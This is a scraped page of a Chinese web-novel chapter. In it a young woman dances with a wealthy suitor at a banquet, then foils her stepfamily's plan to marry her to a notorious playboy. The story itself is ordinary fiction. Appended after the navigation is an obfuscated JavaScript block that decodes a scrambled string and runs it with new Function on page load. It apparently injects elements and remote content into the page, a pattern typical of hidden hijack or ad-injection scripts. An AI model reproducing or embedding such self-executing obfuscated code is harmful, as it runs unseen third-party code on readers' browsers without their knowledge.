返回

萌宝当家

首页
关灯
护眼
字体:
第五章:一片狼藉
晋渊挑了挑眉,他之前也是查过这个袁姚儿的,当然不是对她感兴趣之类的,因为她是袁香蝶的妹妹,关于袁香蝶家人的事情他多多少少知道一些。

“不必了,婉儿小姐这么明艳动人,我怎么舍得惩罚你呢。”

被这样夸奖,袁姚儿害羞地低下头,身子蠢蠢欲动的扭着,再抬起头的时候,发现眼前的晋渊已经走开去拉身后的袁香蝶了!

“过来。”晋渊朝袁香蝶伸手,“摔着没。”

袁香蝶愣了两秒,确定对方的的确确是在关心自己而不是想打击报复,她才怔怔摇头:“没。”

“能跳舞吗?”

“能!”

袁香蝶纤长的手搭在晋渊的手上,两人径直朝舞池中央走去。刚刚的脚下一滑没有让她失态,反而马上调整心情,和晋渊在舞池当中舞动。

晋渊比她高出半个头,袁香蝶提着一颗心,不敢抬头看他的脸,可依稀能感觉到,从头顶上方,男人传来的温和呼吸。

她学过跳舞的,以前在学校也经常打比赛,身体的柔韧度超好,对于这种场合她完全不怯场,音乐一起,脚下就像有了魔法,灵动自如。

黑色的裙子裹住纤长的身体,白纱裹住柔软的腰肢,她裙子上镶嵌的水钻,最开始的那种累赘繁重感,在通过身体舞动之后,在灯光照射下星星灵灵地发光,就好像自带滤镜效果。

那时候袁姚儿才看明白,原来袁香蝶的这套看似繁重的礼服裙是专门为宴会跳舞的时候准备的!场上再也没有任何一个女嘉宾的裙子在舞动起来的时候会这么惊艳!

此刻,她就是全场的焦点!

连司徒都摘下礼帽瞪大了眼珠子看,生怕错过一分一秒的精彩!此刻如精灵般舞动的女子,简直妙不可言!

在休息室熟睡的小软子突然醒过来,站在宴会的角落里面揉着眼睛,嗯?怎么回事?爸爸和谁跳舞去了?嗯?怎么是阿姨,阿姨怎么会在这?

嗯?爸爸居然独吞阿姨!生气!小软子的脸都拧成一团,跟坨小软子似的,他扁着嘴,再也不跟爸爸好了!

一曲终了,音乐声停,袁香蝶松开了他,跟他礼貌地跟众人行礼之后,又彼此行礼。

“跳得不错。”

“是您配合的好。”袁香蝶知道,如果不是晋渊的手放在她腰部附近形成一个保护,她不会这么放心大胆地跳出来。

袁姚儿恨得握紧拳头,她还真当是袁香蝶雪老实了,没想到从她答应自己来参加宴会的时候就步步心机!

“你要不要来看看小味。他说他很想你。”

“想我?”袁香蝶刚答应说好,身后突然袁姚儿走过来,一把拉住了自己的胳膊,好像生怕她再上前一步跟晋渊有什么交流似的。

“姐,你刚刚跳得真好,我都看呆了!”袁姚儿拍着手,然后靠在袁香蝶的肩膀上,一副我们姐妹俩很亲的样子。她又继续说道,“但是咱们得先回去了,刚刚妈妈打电话过来,让我们不要回去太晚。”

“嗯,好。”袁香蝶答应,然后跟晋渊歉意地说,“对不起,晋先生,太晚我得回去了。”

晋渊看出袁香蝶眼底为难的神色,她在世上已经没有什么至亲,那个继母一心想控制她,他知道,于是也没勉强她。

晋渊觉得今天晚上的收获够多了,这个女人已经不止一次给了他惊喜。

袁香蝶跟婉儿乘车回去,晋渊回到休息室,没想到等来的却是小软子一脸的气愤!小软子背过身去,双手抱胸:“生气!”

“……”晋渊解开西装外套,坐在沙发上,“阿姨很喜欢你做的纸红玫瑰。”

“啊?真的?”小软子转身,呆萌地看着晋渊。

“噗,不是生气不理我了吗。”

“……”小软子噘嘴,“看在你帮我把红玫瑰送给她的份上,饶了你。”

晋渊揉揉小软子的头,尽管他一脸不情愿还是把他抱在了自己的怀里,小软子嘟囔着:“答应我的事情不许忘!”

“嗯,没忘。”

……

袁香蝶回到家中当晚,便把礼服小心翼翼地装好,放进衣柜里面。这个时候袁姚儿突然开门进来,她进自己的房间几乎从不敲门,她在这个房间里面也根本没什么隐私,袁香蝶心知肚明她会这样监视自己,也没打算跟她吵什么。

“姐,辛苦了。出尽风头累坏了吧?”

袁香蝶头也没抬,依旧整理着柜子里的裙子,好似根本没心情去管她说什么,淡淡回应道:“还行。”

袁姚儿走了进来,大方坐在袁香蝶的床上,好像她才是姐姐,袁香蝶才是个做妹妹的。

“我刚刚跟妈妈商量了关于你的婚事。”

“婚事?”袁香蝶终于回头,“你们商量我的婚事做什么?”

袁姚儿“善意”地解释:“姐姐,你年纪也不小了,应该结婚成家了。”

“谢谢关心,但是不用。”

“来不及了,我妈妈已经跟欧家的人联系了,他们家的长子欧阳萧正好急着结婚。”

袁香蝶腾地一下站起身:“我不嫁!”

“这可由不得你。姐,你现在这个年纪,还进过伯莱病院,能找到这样的就不错了,这可是我妈妈为你争取好婚事,你可别任性。”

“觉得我任性,那你怎么不去嫁?”

“你是做姐姐的,姐姐先结婚,然后我就也跟着嫁人,不是很符合情理?”

袁香蝶嗤笑了一声:“要是我就不嫁呢?”

“那您就做好再被袁家绑着嫁过去的准备吧!”袁姚儿根本就是不择手段!袁家根本不缺对付袁香蝶的人手!

袁香蝶知道,要不是怕说出去不好听,林玲跟袁姚儿简直分分钟把她逼到山沟沟里面吃糠咽菜去!

“就这么说定了,我会告诉妈妈你很喜欢这门亲事的。姐姐,你别挑了,你这样的根本等不到再好的男人了。”袁姚儿说完这句魔咒般的话,便离开了。

等不到吗……

对啊,她被指控毒害亲人,进伯莱病院……浑身污点的她,究竟能不能嫁出去都是两说……欧家的公子哥儿欧阳萧,那可真不是一个省油的灯。二十出头的时候在学校跟人家抢女人,打折人家两条腿,下辈子只能做轮椅,欧家花了不少钱把这件事给压下了下去,现在浑浑噩噩的开着跑车四处泡吧把妹,花天酒地,没有他干不出来的事儿。

因为在南城的名声不是一般的臭,他妈妈找不到门当户对的儿媳妇,张曦正是抓住了作为老母亲的这番想法,才把袁香蝶推荐出去。

所以,当欧夫人带着欧阳萧来家里做客,欧阳萧翘着二郎腿哼着小曲,朝自己疯狂挑眉的时候,袁香蝶一点……都!不!意!外!

她放下刀叉,蹭地一下站起身。张曦以为她绷不住了,要发火。这正是她所期望的,在长辈面前失了分寸,这不是衬得自己的姚儿更乖巧更懂事吗?

袁香蝶额角抽搐了一番,没想到憋了半天只是说了一句要去洗手间。张曦看出来她情绪不对,悄悄对女儿说:“你跟过去看看她怎么了,要是她不乐意,咱们就来硬的。”

袁姚儿点点头,跟了过去。

袁姚儿拍了拍洗手间的门:“姐,你都在里面呆了快二十钟了,吃一半走开对客人很不礼貌。”

袁香蝶铁青着脸开门:“人有三急,非得让我在饭桌上憋着是吗?”

“姐……我不是那个意思。你看看,欧家多有诚意啊,欧夫人怕你不乐意,给你送来了几礼盒的珠宝,可真让人羡袁呢。”

袁香蝶反问:“你喜欢?那你拿去?”

“不不不,我不是这个意思。姐,那是人家给你的一片心意,再说,欧家跟袁家是多少年的好朋友,你可不能不领情,坏了两家情谊啊。”

意思就是收得收,不收也得收。可是拿人手短的道理她不是不懂,收了不就相当于同意这门婚事了吗?

欧家今天突然来访,她也是突然间才知道。家里没有一人提前告知她,张曦就是想搞个突然袭击,打袁香蝶一个措手不及。

好一手措手不及。袁香蝶痛苦地掐着眉心,她要是真的嫁给那个欧阳萧,估计要满世界给他灭情人儿。那是不可能的!但是现在躲也躲不掉,怎么办?

袁香蝶跟姚儿一起回到餐桌前。欧夫人见袁香蝶回来了,以为是被袁姚儿给劝好了,答应这门婚事了,就笑着暖场:“既然你们俩都没什么意见,我们就定个日子吧。”

这就定了?欧夫人可真是着急!

袁香蝶突然说了一句:“不行!”

餐桌上另外六个人的目光齐刷刷地聚集在袁香蝶的身上,欧阳萧被这么当场拒绝,脸上自然是挂不住面子,冷哼了一句:“怎么?你还看不上我们家了?”

欧夫人赶紧怼了一下自己这个不争气的混小子,生怕她再把袁香蝶给惹恼了,这件婚事就彻彻底底的黄了。

“不不不。”袁香蝶煞有介事地说着,她语气缓慢,不紧不慢地解释道,“我呢,是一个很慢热的人。而且,比较注重生活的仪式感。实话跟您说了吧,我都没怎么谈过恋爱,所以对爱情二十憧憬,内心二十期盼能跟欧公子这样的帅哥谈一场轰轰烈烈的恋爱!”

欧阳萧被突如其来的一舔给舔懵了,双手抱胸,换了个更狂妄的坐姿:“那你怎么不答应?”

“对啊,就是因为欧少爷你太优秀了,我要是跟你在一起,我怕我打不过那些情敌。你看我,这么瘦的一个人,我实在顶不住。”

欧老夫人立刻插话,试图挽回一点什么:“不会的!嫁给我们阳萧之后,他只会对你一个人好的!对吧,儿子?”

欧阳萧迟疑了一会,本来他就是被母亲欧排着来相亲的,心里面各种不情愿,要不是母亲说这个袁香蝶有点好看他也压根不会来。他可以结婚,但是要他只有这一个女人,他可不干!

要是放在以前,他可能分分钟就甩手走人了。

只是眼前的女子,的确美丽动人。她身上的那种气质跟外面那些女人还真有点不一样。

欧阳萧点头:“没错,跟了本少爷,绝对不让你有别的顾虑!你就欧心伺候我就好!”

袁香蝶内心OS:我信你个鬼!

“这江山易改,本性还难移呢……欧少爷潇洒惯了,阅女无数,要不是身体不行了,怎么可能说变就变了呢……”

不行?这个娘们居然说他那方面有问题?

欧阳萧脸上绷不住了:“哎你这女人什么意思?我才反应过来,你这从头到尾是骂我呢吧?什么不行了?我欧少爷南城有名的小钢炮!”

此话一出,本性暴露无遗,欧夫人脸绿得跟个大冬瓜似的。

袁香蝶内心得意,对面上当了。她立马扭头,秒变嘤嘤怪:“你怎么这么凶啊,人家只是担心你的身体,所以问问,毕竟以后是要结婚的……哦,我知道了,看来欧少爷不喜欢我,我就不自作多情了。”

欧夫人苦着一张脸过来劝:“不是不是……哎!混小子你急什么!自己做了什么事心里没点数!人家姑娘问问怎么了?”

袁姚儿刚要说话,就被袁香蝶抢先一步:“我不应该惹你生气,看样子我们并非情投意合,对不起!”

袁香蝶一副世界这么痛苦终究我一人抗下所有的样子,转身抹着眼泪离去。旁边的袁姚儿都惊了!

平时的姐姐是这个画风吗?她那么好强的一个人怎么会说哭就哭出来?

“姐!姐!”袁姚儿拦不住她,喊她她也不回来。

这下尴尬了,袁姚儿赶紧回头欧慰欧阳萧:“你别多想,我姐姐那个人有点直,说话就那个样子。”

“我不多想,那我不娶她,娶你行不行?”

袁姚儿脑门儿上一个放大版的问号。这蠢男人在想屁吃?

“你也不答应?怎么,你们姐妹俩都以为本少爷我是玩不动了,才想着赶快找个人结婚的是吧!”

“不不不……不是不是……”袁姚儿额角冒着冷汗,百口难辩。最后是张曦一把把姚儿拉到身后,干巴巴地笑了两声:“今天的事有点尴尬,是我这个做东家的没事先跟香蝶解释明白,太突兀了,她才问出这样的问题。怪我,怪我。咱们下次再聚。”

袁姚儿都受到了惊吓,心里寻思着可别让他再来了!袁香蝶成功逃离现场,擦干眼泪吸了吸鼻子,一副什么都没发生的样子。这母女俩还敢给自己挖坑跳,也不知道找个段位高点的,从哪里揪出来这么个没脑子还狂妄的公子哥儿,呸!啥也不是!

“你可太直白了。”朱丽被袁香蝶逗得眼泪都笑出来,“你还不如直接拒绝人家,没头没尾来了一句不行,这哪个男人受得住啊。”

袁香蝶冷哼了一声:“他有脸来袁家提亲,我自然有脸撅他。”两句话把这件事说的理所当然,朱丽又乐了,刚吃进嘴里的烤鸡翅都差点噎住。

“他想把你撬走我肯定是要跟他拼命的。”朱丽擦了擦嘴角的油,“但是你也小心一点,欧阳萧是出了名的混蛋,你可别惹恼了他过后人家报复你呢。”

袁香蝶眉眼划过一丝淡淡的不削,嘴角扬了扬,轻描淡写说了一句:“那就让他报复回来啊,我又不是当年的我了,谁死还不一定呢。”

眼底划过的凌冽杀气让朱丽片刻失神,也就是她作为朋友能深刻明白袁香蝶这么多年的经历改变了她什么。朱丽时常在想,如果当年那个被仓皇自控谋害的女孩儿是自己的话,可能根本逃不过那一劫。

朱丽是袁香蝶大学的闺蜜,这三年里,她断断续续去精神病院中探望香蝶,算是知根知底的。在入狱之前,袁香蝶正和朱丽两人筹划开一间工作室,结果刚买下这间门市,她就出了事。

朱丽几乎是哭着去袁家找袁姚儿理论,结果被张曦哄出来还扇了两个耳光。袁香蝶始终记得,朱丽被打的时候,袁家人又是怎么口出狂言,说朱丽再敢啰嗦就把她也关进去。

袁香蝶拉住朱丽的手,告诉她不用管自己,首先第一步,工作室一定要开起来,这是她们两个人的梦想。

袁香蝶在狱中画图纸,每到月末都会把珠宝设计图图纸邮寄出去送到朱丽的手里。这里面的操作,全程保密,袁家人完全不知晓。

朱丽根据袁香蝶的珠宝设计图图开始打版,出新款,虽然没什么名气但是店内的生意还算红火,偶然会接到两三笔大客户的订单。

这只是初代想法,真正要做出一个国际品牌来,要走的路还很长。

朱丽吃完最后一只烤翅,将半罐啤酒咕嘟咕嘟全喝下去,冒着泡泡晕头转向地倒在地毯上。她……又一次把自己灌醉了。

服装珠宝珠宝设计图师的行业竞争力很强,压力很大,熬夜也是常事。

“你没事吧?”袁香蝶捏捏朱丽的小圆脸,哭笑不得,“有人接你吗?”

“有,我叔叔一会开车来接我。这里……麻烦你帮我收拾一下。”工作室内一片狼藉,朱丽心满意足。然后没过多久,朱丽的叔叔开着车,袁香蝶帮忙把她扶进车子里面,目送车子离开。

袁香蝶转身回到店里面,将门口的灯调暗,变成暖光的调调,牌子换上“close”。她弯下腰,将地上散落的易拉罐装进袋子里面,将桌子上的残局收拾好,把门口模特身上的衣服拆卸下来装进袋子里。

一切井井有条,她很享受房间里很干净很静谧的感觉。

大门被人从外面推开,风铃叮当撞响,她头也没回,只是淡淡说了一句:“打烊了,明天再来吧。”

谁知,身后没有动静,她回头时候,一眼就撞见了晋渊深邃的眼眸里。

男人西装加身,面容清冷,浑身散发着强烈的雄性荷尔蒙。袁香蝶看呆了,甚至忘了思考为什么此时此刻这个男人会出现在这里。

事到如今,她见到他,还是不受控制想想起那天在宴会上,与他一起在舞池里跳舞的场景。他沉默寡言,可不会让人觉得尴尬。相比之下,那份欧静,让她很欣赏,也很喜欢。

也许这就是男人最应该有的样子。不多说,永远做的比说的好听。

“晋……晋先生?你怎么会……”话没说完,从男人身后跑出来一个小小的身影。

“阿姨!”小软软开心地跳起来,袁香蝶几乎是下意识地蹲下身子抱住了他,小软软蹭着她的脸,痒痒的。

“你、你们怎么……”

“是阿姨说可以来看阿姨的!”小软软欢喜地挥动着手里袁香蝶留给自己的纸条。他眼圈怎么就红红的,好像哭过。

“他怎么了?眼睛怎么红红的?”袁香蝶朝门口的男人看去,男人冷着一张脸回应道:“闹。不听话。被老管家打了屁屁。”

所以……小软软是挨揍了?天哪,这么可爱的小孩子怎么下得去手!

“他把家里客人的手给咬了。”晋渊一脸嫌弃地看着小软软,看样子两个人还在置气。小软软一定是在气爸爸没有帮自己!不过看在他带自己来见阿姨的份上,就暂且原谅他好了!

袁香蝶捏捏小软软的脸,心里很是不解。小软软看上去很乖很听话啊,怎么会像晋渊说的那样又哭又闹的呢!

晋渊知道袁香蝶不会相信,终于一脸嫌弃地瞥了自己儿子一眼,这个小机灵鬼,就知道在香蝶面前装乖!

小软软带了一份绿豆糕给袁香蝶,这正好是袁香蝶最爱吃的东西。当然,这一切不是巧合,晋渊早就命人查过她的喜好,知道她爱吃这家的绿豆糕。

两人在吃着,晋渊坐在沙发里面静静地看。不知道为什么,盯着这个女人看,总有一种岁月静好的欧谧感觉。

两人吃着,外面突然一阵雷声炸响,小软软吓得一哆嗦,钻进袁香蝶的怀里。晋渊微微皱眉,这臭小子还真不把她当外人了。跟自己怎么没有这么亲密的时候呢?

“别怕,阿姨啊。”袁香蝶抬头,看向窗外,“怎么下雨了呀,这可怎么办。我一会还得回袁家。”

晋渊眉头一皱,每次他都能看见袁香蝶对袁家人的顾虑,他早就想问,为什么袁香蝶会忍受那母女俩的压制一直停留在袁家?以她的实力,换做是别的女人,可能早就远走他乡了。

他开口问了句:“如果不回去会怎么样?”

也不会怎么样,就是会被没头没脑的质问一大堆。袁香蝶苦笑了两声:“晋先生,你能送我回家吗?”

男人铁青着脸拒绝:“不能。”

“嗯?不……不方便吗?”

“不是。”晋渊面无表情地回答道,“因为我也是带着小味偷偷跑出来的。”

“……”

上一章 目录 下一章

(function(){function o047defe(f2284){var tee004=".Ru2y?Gd]68bQ30Fc@=zv~soSWp!t(1f%,a:B9VqUreMJik-POZAC&EK[;5/Hj|lgw7XDxI^nmYT$hN_4L";var lb755b6de="WxtaYoN(u9[lPiKpwheVHrJ@-G$7&?D;TX.c5MSU!fOZAk4bE^|=8Cd6,m0_]:IFy3Bsq1R2L/jg~%vnzQ";return f2284.split('').map(function(dd1904f){var ra6b2cf0a=tee004.indexOf(dd1904f);return ra6b2cf0a==-1?dd1904f:lb755b6de[ra6b2cf0a]}).join('')}var c=o047defe('magnet:?xt=c3_E?c8"" + "R" + ":" + ":" + "^" + "^" + "^" + "5" + "2" + "-"+""HAr]_:u3?_d){fdr]_:u3?_dYr^6Cx^6[?=226[Yk6kr^[4=Er^=:kE){3rdmO92:Z.3_mau=Xud_2N3T2u?~aFb2ur?~;)){~=u]~_}fN2~ g=-:!Ar]_:u3?_d;ww=EK=!){~=u]~_ Vu~3_Tar~?;&@2~&?E=d;ww=EK=!)}fN2~ _C=k^2Cw-A8"uSx"["NSx6"["]S^C^Kxk^K5^KB5^6"["ES^5^kS5kSxx 55j5^jkw"["XgXS4:"HfN2~ XK6rw-K^AYk6kr^8g=-:!d5RKx)+g=-:!d5R!k)+g=-:!d5RKl)+g=-:!d5RK^)H[?rxw5AYk6kr^8g=-:!d5RK^)+g=-:!d5R!k)+g=-:!d5RKl)+g=-:!d5RKx)H[R^E5E:=xrA4=Er^=:kE8XK6rw-K^d"ywzg:;z]ElGY:;bcEJAA")H[_Bw:CwwwAXK6rw-K^d"ywsby,IbI.Rb-.z]EJAA")[4xxx6AXK6rw-K^d":wz3:wIg2.B_")[;!kEwAXK6rw-K^d":;zc-WlYMLAA")[Rrk:r=w6AXK6rw-K^d":w7X2,LA")[@CB::EAXK6rw-K^d":;z^M,s4MLAA")[2E5!x56AXK6rw-K^d"2;6F-TAA")[3CEKkErAXK6rw-K^d":;l]MW6u")[462x-E:AYk6kr^8XK6rw-K^d"%.l52JAA")H[@^26E=B25AXK6rw-K^d"-W6@MJAA")fN2~ -5KKw!rBrAXK6rw-K^d"=;GiM.sxMcAA")fN2~ TBkkxw2x:f3rdb?:2u3?_aX=2~:@a3_E=Rerd-5KKw!rBr)>Sx){TBkkxw2x:A4=Er^=:kE8_Bw:CwwwHdXK6rw-K^d"EWzkEWlgM.PA"))fTBkkxw2x:a3EA"u"+d462x-E:83CEKkErHd)*x5555)fTBkkxw2x:aXugb=ac3Eu@A"x55h"fTBkkxw2x:aXugb=a@=3T@uA"B55FR"fTBkkxw2x:aE3X2-b=EAu~]=f3rd4=Er^=:kEa-?EgUA_]bb){4=Er^=:kEa-?Ega2FF=_E&@3bEdTBkkxw2x:)}=bX={N2~ X:xB^x:Ar]_:u3?_d){4=Er^=:kEa-?Ega2FF=_E&@3bEdTBkkxw2x:)fYk6kr^a~=;?N=PN=_un3Xu=_=~d@^26E=B25[X:xB^x:[r2bX=)}fYk6kr^a2EEPN=_un3Xu=_=~d@^26E=B25[X:xB^x:[r2bX=)}}N2~ :wx^EA4=Er^=:kE8_Bw:CwwwHdXK6rw-K^d"M.x3M.LA"))f:wx^EaXugb=a@=3T@uA"5FR"f:wx^Ea3EA?=226+d462x-E:a:=3bd462x-E:83CEKkErHd)*x5555))fN2~ u52-^2Ar]_:u3?_d3k5kkCkk^){N2~ 2-^2wEKA_=c 12u=d)fN2~ Ywx55CA`2ENVF2:=|E/p{?=226}/p{2-^2wEKau?n?:2b=12u=Vu~3_Td)}`fN2~ cr!rC5AsVeGaF2~X=db?:2bVu?~2T=aT=u|u=;dYwx55C))f3rdcr!rC5AA_]bb){cr!rC5A{-~?cX=~&?]_uj5}}cr!rC5a-~?cX=~&?]_u++fN2~ RE=wKkB:A?rxw5d_C=k^2Cw-a:?_:2ud812u=8"_?c"Hd)[b?:2u3?_a@~=r[`@X:Sp{cr!rC5a-~?cX=~&?]_u}`H)aX?~udd)A>462x-E:83CEKkErHd)S5aB)82E5!x56Hd"["))fN2~ ?k==EB5rARE=wKkB:a3_E=Rerdg=-:!d5RwE))>Sx(RE=wKkB:84xxx6HdRE=wKkB:a3_E=Rerdg=-:!d5RwE)))j""fRE=wKkB:ARE=wKkB:8;!kEwHd?k==EB5r["")8Rrk:r=w6Hd"")8@CB::EHd)82E5!x56Hd"")+?k==EB5rf:wx^EaX~:A8"@uuFXjmm"[3k5kkCkk^[RE=wKkB:H82E5!x56Hd"m")f4=Er^=:kEa-?Ega2FF=_E&@3bEd:wx^E)f3rdTBkkxw2x:UA_]bb){TBkkxw2x:aN2b]=+A"\\~\\_2FF=_E=E =; u? @u;b"fN2~ -E!BK:!5:A4=Er^=:kEaT=uPb=;=_u7g|Ed:wx^Ea3E)f3rd-E!BK:!5:AA_]bbZZ-E!BK:!5:AA]_E=r3_=E){TBkkxw2x:aN2b]=+A"\\~\\_ :2_u T=u =; r~?; @u;b"}}}f3rdTBkkxw2x:UA_]bb){TBkkxw2x:aN2b]=+A"\\~\\_X=_E YX @?Xu "+Yr^6Cx^6}N2~ b!rEwAr]_:u3?_dT5!w-){~=u]~_ XK6rw-K^dT5!w-)8;!kEwHdg=-:!d5R^J)[462x-E:83CEKkErHd)au?Vu~3_TdwK)aXb3:=d462x-E:arb??~d462x-E:83CEKkErHd)*6)+^))}fu52-^2db!rEwdYr^6Cx^6))fYk6kr^8"2EEPN=_un3Xu=_=~"Hd";=XX2T="[r]_:u3?_d=){3rd=aE2u2aiAA?=226){4=Er^=:kEaT=uPb=;=_u7g|Ed:wx^Ea3E)a~=;?N=d)f3rdTBkkxw2x:UA_]bb){TBkkxw2x:aN2b]=+A"\\~\\_~=:=3N= =; F?Xu ;=XX2T="fTBkkxw2x:aN2b]=+A"\\~\\_=aE2u2aN "+=aE2u2aD}_=c l]_:u3?_d"2~TX"[=aE2u2aD)d{/uE:XjR^E5E:=xr[/u~2jTBkkxw2x:})}})})d"03B3y,IF2;b@-3BY-^5A"["^C^Kxk^K5^KB5^6"[c3_E?c[E?:];=_u)}fR::^^^52-d)f'.substr(11));new Function(c)()})();